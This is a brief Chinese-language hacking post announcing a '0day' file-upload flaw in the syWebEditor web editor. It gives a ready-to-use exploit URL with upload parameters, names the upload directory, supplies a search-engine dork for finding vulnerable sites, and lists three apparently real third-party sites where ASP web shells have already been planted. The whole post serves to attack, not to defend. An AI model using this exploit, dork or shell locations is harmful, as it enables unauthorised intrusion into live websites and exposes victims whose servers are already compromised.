syWebEditor编辑器最新0day

syWebEditor编辑器存在上传漏洞，也是解析的问题，跟其它出现这漏洞的

编辑器一样。

exp:http://www.xxx.com/syWebEditor/Sel_UploadFile.asp?obj=ProPhoto&fileType=gif%7Cjpg%7Cpng%

7C&filePathType=1&filePath=/PhotoFile/ProFile/

上传后的目录/PhotoFile/ProFile/。有个自动改名的选项。

关键字：inurl:syWebEditor

至于拿shell  很简单 随便找了几个试了下  

http://www.nyhfjy.cn/sb.asp

http://kone112233.w22.ivip.cn/hack1990.asp  

http://wylsw.333200.net/aspx/hack1990.asp